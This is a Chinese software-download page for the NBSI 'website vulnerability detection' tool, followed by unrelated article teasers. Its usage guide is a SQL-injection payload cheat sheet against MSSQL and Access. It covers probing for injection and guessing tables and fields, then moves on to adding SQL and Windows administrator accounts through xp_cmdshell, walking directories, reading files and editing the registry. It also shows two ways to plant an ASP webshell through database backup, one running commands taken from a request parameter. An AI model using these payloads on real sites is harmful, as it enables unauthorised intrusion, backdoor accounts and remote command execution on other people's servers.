年代软件下载中心,为您提供安全的软件下载!

当前位置:首页 > 软件下载 > 网络软件 > 网络监测 > nbsi网站漏洞检测工具中文绿色版v3.0

nbsi网站漏洞检测工具中文绿色版v3.0

分享到:

  nbsi网站漏洞检测工具是一款功能非常强大的网络监测工具。软件站提供的nbsi网站漏洞检测工具下,它在SQLServer注入检测方面成功率非常的高。nbsi网站漏洞检测工具的新版本除了新增了删除表功能, 而且还优化了GETWEBSHELL功能,使得软件监测过程的稳定性取得了大幅度的提高。

 

  nbsi网站漏洞检测工具使用介绍

  1.判断是否有注入

  ;and 1=1

  ;and 1=2

  2.初步判断是否是mssql

  ;and user>0

  3.判断数据库系统

  ;and (select count(*) from sysobjects)>0 mssql

  ;and (select count(*) from msysobjects)>0 access

  4.注入参数是字符

  'and [查询条件] and ''='

  5.搜索时没过滤参数的

  'and [查询条件] and '%25'='

  6.猜数据库

  ;and (Select Count(*) from [数据库名])>0

  7.猜字段

  ;and (Select Count(字段名) from 数据库名)>0

  8.猜字段中记录长度

  ;and (select top 1 len(字段名) from 数据库名)>0

  9.(1)猜字段的ascii值(access)

  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

  (2)猜字段的ascii值(mssql)

  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

  10.测试权限结构(mssql)

  ;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--

  ;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--

  ;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--

  ;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--

  ;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--

  ;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--

  ;and 1=(SELECT IS_MEMBER('db_owner'));--

  11.添加mssql和系统的帐户

  ;exec master.dbo.sp_addlogin username;--

  ;exec master.dbo.sp_password null,

  username,password;--

  ;exec master.dbo.sp_addsrvrolemember sysadmin

  username;--

  ;exec master.dbo.xp_cmdshell 'net user username

  password /workstations:* /times:all

  /passwordchg:yes /passwordreq:yes /active:yes /add'

  ;--

  ;exec master.dbo.xp_cmdshell 'net user username

  password /add';--

  ;exec master.dbo.xp_cmdshell 'net localgroup

  administrators username /add';--

  12.(1)遍历目录

  ;create table dirs(paths varchar(100), id int)

  ;insert dirs exec master.dbo.xp_dirtree 'c:\'

  ;and (select top 1 paths from dirs)>0

  ;and (select top 1 paths from dirs where paths not

  in('上步得到的paths'))>)

  (2)遍历目录

  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表

  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构

  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

  13.mssql中的存储过程

  xp_regenumvalues 注册表根键, 子键

  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE',

  'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

  xp_regread 根键,子键,键值名

  ;exec xp_regread 'HKEY_LOCAL_MACHINE',

  'SOFTWARE\Microsoft\Windows\CurrentVersion',

  'CommonFilesDir' 返回制定键的值

  xp_regwrite 根键,子键, 值名, 值类型, 值

  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型

  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE',

  'SOFTWARE\Microsoft\Windows\CurrentVersion',

  'TestValueName','reg_sz','hello' 写入注册表

  xp_regdeletevalue 根键,子键,值名

  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE',

  'SOFTWARE\Microsoft\Windows\CurrentVersion',

  'TestValueName' 删除某个值

  xp_regdeletekey 'HKEY_LOCAL_MACHINE',

  'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

  14.mssql的backup创建webshell

  use model

  create table cmd(str image);

  insert into cmd(str) values ('<% Dim oScript %>');

  backup database model to disk='c:\l.asp';

  15.mssql内置函数

  ;and (select @@version)>0 获得Windows的版本号

  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa

  ;and (select user_name())>0 爆当前系统的连接用户

  ;and (select db_name())>0 得到当前连接的数据库

  16.简洁的webshell

  use model

  create table cmd(str image);

  insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');

  backup database model to disk='g:\wwwtest\l.asp';

  以上就是nbsi网站漏洞检测工具的相关软件介绍,更多电脑软件下载,请关注软件站。

展开更多

软件截图

nbsi下载地址

本地下载方式 其他下载方式

相关文章

  • iphone越来越卡怎么办?
    iphone越来越卡怎么办?

    虽然很多人认为iphone的ios系统相对于安卓而言是十分流畅的,但有iphone的用户表示他们的iphone越用越卡,这是什么原因?iphone越来越卡怎么办?...

  • 圣墟手游好玩吗?
    圣墟手游好玩吗?

    《圣墟》手游改编自辰东同名小说,高度还原回忆杀,曾获得辰东亲自点赞。刚一进游戏,看到主线剧情,真的满满都是回忆!回忆杀赛高!楚天、小黄牛、妖妖……这熟悉的技能,道引呼吸法、大雷音呼吸法。如果人物模型再精致些就更完美了!...

  • 和平精英七夕上什么衣服 七夕皮肤详解
    和平精英七夕上什么衣服 七夕皮肤详解

    和平精英七夕上什么衣服?在即将到来的七夕节中,很多玩家都非常好奇上架了什么物品,下面就让小编给玩家介绍一下吧!...

  • 生命不能承受之重
    生命不能承受之重

    你可能不认识她,她叫张纯如,1968年3月28日新泽西州普林斯顿,祖父张铁军曾是祖抗日国军将,后曾为台湾中华日报总主笔。生活在这样对一个书香门第,她从小就从父母那儿听到关于南京大屠杀一些故事,1994年一次偶然的机会,她有机会目睹了关于南京大屠杀的一些黑白照片,这次经历改变了她的一生,而当时西方国家对二战的认识只停留在德国...

  • 旅行青蛙青蛙不见了是怎么回事?
    旅行青蛙青蛙不见了是怎么回事?

    旅行青蛙是时下大热的一款休闲游戏,打着体验佛系人生的噱头,吸引了不少玩家。一些玩家在体验旅行青蛙的过程中,发现青蛙居然不见了,这是怎么回事呢?...

  • 游戏黑色沙漠配置要求高不高?
    游戏黑色沙漠配置要求高不高?

        游戏蜗牛3d为大型多人在线游戏,MMORPG的特点大规模攻城战被添加到上举,房地产,贸易和使用就业的主视频游戏模拟组件战斗代理如。本文分享了每个人都主要关注的黑沙漠配置要求。...

  • 马蜂窝内容多项内容违法九不准 遭三部门约谈
    马蜂窝内容多项内容违法九不准 遭三部门约谈

     4月3日,根据北京市通信管理局发布的消息,2019年3月28日,北京市通信管理局与市文化旅游局和市网络办公室联合采访了北京蚂蜂窝网络技术有限公司网站和移动应用程序商店严厉批评违反《互联网信息服务管理办法》规定和违反“九错”内容并未能完成审核,并立即要求整改。...

  • 又是一年高考时
    又是一年高考时

    在网上聊天,朋友忽然对我说句“明天可是高考了”。听到这一句,我仿佛被惊醒,那些记忆也放佛...

  • 碧蓝航线三幻神是什么
    碧蓝航线三幻神是什么

    碧蓝航线三幻神是三架外貌酷似游戏中里三神卡的舰娘,特指外貌可爱,能力超强的舰娘,那么碧蓝航线三幻神是什么意思,三幻神值的是哪些舰船,很多玩家都不是很清楚,所以安锋网小编给大家带来详细的介绍。...

  • 留不住的岁月
    留不住的岁月

     见到了我的一个高中同学,来告诉我她将要离开学院去北京实习了,我请她吃了一顿便饭,肉沫茄子,宫爆鸡丁而已。忽然就想到两年前一到来上大学的时光。时如流水,她都快离开了...

相关新闻

  • 我也不知道怎么表达
    我也不知道怎么表达

    我也不知道怎么表达,先从一个测试题开始吧,刚我看到报纸上有个测试题,问假如你中奖了2000万,你会是什么反应,我的回答是第三个答案,说我会默默的好好的分配这些财富,把它用到...

  • 没有真正意义上认识一个合肥人
    没有真正意义上认识一个合肥人

    我在合肥待了三年,没有真正意义上认识一个合肥人,却又两位老师在我的成长过程中,教会了我许多东西,以为是一直和霭可亲的徐冬梅老师,另一位学识渊博、见识长远的陈老师,徐...

  • 第五人格恐怖吗 第五人格好玩吗 第五人格评测介绍
    第五人格恐怖吗 第五人格好玩吗 第五人格评测介绍

    第五人格是网易公司推出的一款非常好玩的现象级手游,游戏画面可以说轻微恐怖,但里面的人设非常的可爱(╹▽╹),今天小编就为大家评测评测这款手游。...

  • Google Play存在大量违规应用获取用户数据
    Google Play存在大量违规应用获取用户数据

    根据BuzzFeed News报道,中国安卓应用开发商DU Group多款软件存在广告欺骗、滥用用户权限的行为,这些软件并没有向用户明确的披露正在收集和发送的数据。...

  • 怀念小时候家乡的中秋
    怀念小时候家乡的中秋

      我出生在安徽省无为县的一个并不富裕村庄,从我记事起,我的童年岁月都是离不开村子里的那些勤劳朴素的劳动人民以及村庄到处散发的泥土香味。直到我们走进县城读高中到...